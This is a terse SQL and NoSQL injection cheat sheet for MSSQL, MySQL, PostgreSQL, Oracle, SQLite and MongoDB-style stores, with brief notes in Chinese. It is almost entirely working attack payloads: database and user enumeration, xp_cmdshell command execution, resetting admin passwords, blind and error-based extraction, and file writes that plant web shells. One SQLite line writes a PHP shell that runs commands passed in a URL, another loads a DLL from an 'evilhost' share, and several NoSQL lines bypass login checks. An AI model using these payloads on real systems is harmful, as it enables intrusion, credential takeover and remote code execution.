SELECT @@version
SELECT 1 -- comment SELECT /*comment*/1
0x01 - 0x20
SELECT user_name() SELECT system_user SELECT user SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
select IS_SRVROLEMEMBER('sysadmin') select IS_SRVROLEMEMBER('db_owner')
SELECT name FROM master..syslogins
SELECT name FROM master..sysdatabases select concat_ws(table_schema,table_name,column_name) from information_schema.columns select quotename(name) from master..sysdatabases FOR XML PATH('')
EXEC xp_cmdshell 'net user'
SELECT char(0x41) SELECT ascii('A') SELECT char(65)+char(66) => return AB
WAITFOR DELAY '0:0:3' pause for 3 seconds
ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'
id=1 union:select password from:user
OpenRowset
select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)
用于判断是否站库分离
select host_name() exec xp_getnetname
exec xp_msver
xp_regread exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH' xp_regwrite xp_regdeletvalue xp_regdeletkey xp_regaddmultistring
1=convert(int,(db_name()))
SUSER_NAME() USER_NAME() PERMISSIONS() DB_NAME() FILE_NAME() TYPE_NAME() COL_NAME()
fn_xe_file_target_read_file fn_get_audit_file fn_trace_gettable
sp_execute_external_script sp_makewebtask sp_OACreate sp_OADestroy sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_OAStop xp_cmdshell xp_dirtree xp_enumerrorlogs xp_enumgroups xp_fixeddrives xp_getfiledetails xp_loginconfig
SELECT @@version
SELECT 1 -- comment SELECT 1 # comment SELECT /*comment*/1
0x9 0xa-0xd 0x20 0xa0
SELECT user() SELECT system_user()
SELECT user FROM mysql.user
SELECT database()
SELECT schema_name FROM information_schema.schemata
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
SELECT if(1=1,'foo','bar'); return 'foo'
SELECT char(0x41) SELECT ascii('A') SELECT 0x414243 => return ABC
sleep(1) SELECT BENCHMARK(1000000,MD5('A'))
select @@datadir select load_file('databasename/tablename.MYD')
ascii(substring(str,pos,length)) & 32 = 1
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"
extractvalue updatexml GeometryCollection linestring multilinestring multipoint multipolygon polygon exp
secure_file_priv
允许向对应位置写入select count(file_priv) from mysql.user
union select 1,1,1 into outfile '/tmp/demo.txt' union select 1,1,1 into dumpfile '/tmp/demo.txt'
dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏
show variables like '%general%'; set global general_log = on; set global general_log_file = '/path/to/file'; select '<?php var_dump("test");?>'; set global general_log_file = '/original/path'; set global general_log = off;
SELECT version()
SELECT 1 -- comment SELECT /*comment*/1
SELECT user SELECT current_user SELECT session_user SELECT getpgusername()
SELECT usename FROM pg_user
SELECT current_database()
SELECT datname FROM pg_database
SELECT char(0x41) SELECT ascii('A')
pg_sleep(1)
select * from v$tablespace; select * from user_tables; select column_name from user_tab_columns where table_name = 'table_name'; select column_name, data_type from user_tab_columns where table_name = 'table_name'; SELECT * FROM ALL_TABLES
-- /**/
0x00 0x09 0xa-0xd 0x20
utl_inaddr.get_host_name ctxsys.drithsx.sn ctxsys.CTX_REPORT.TOKEN_TYPE XMLType dbms_xdb_version.checkin dbms_xdb_version.makeversioned dbms_xdb_version.uncheckout dbms_utility.sqlid_to_sqlhash ordsys.ord_dicom.getmappingxpath utl_inaddr.get_host_name utl_inaddr.get_host_address
utl_http.request utl_inaddr.get_host_address SYS.DBMS_LDAP.INIT HTTPURITYPE HTTP_URITYPE.GETCLOB
rawtohex
create or replace directory TEST_DIR as '/path/to/dir'; grant read, write on directory TEST_DIR to system; declare isto_file utl_file.file_type; begin isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W'); utl_file.put_line(isto_file, '<% out.println("test"); %>'); utl_file.fflush(isto_file); utl_file.fclose(isto_file); end;
-- /**/
select sqlite_version();
ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--
{"username": "user"} => {"username": {"ne": "fakeuser"}} {"$where": "return true"}
'"\/$[].>
{"$ne": -1} {"$in": []} {"$where": "return true"} {"$or": [{},{"foo":"1"}]}
{"$where": "sleep(100)"}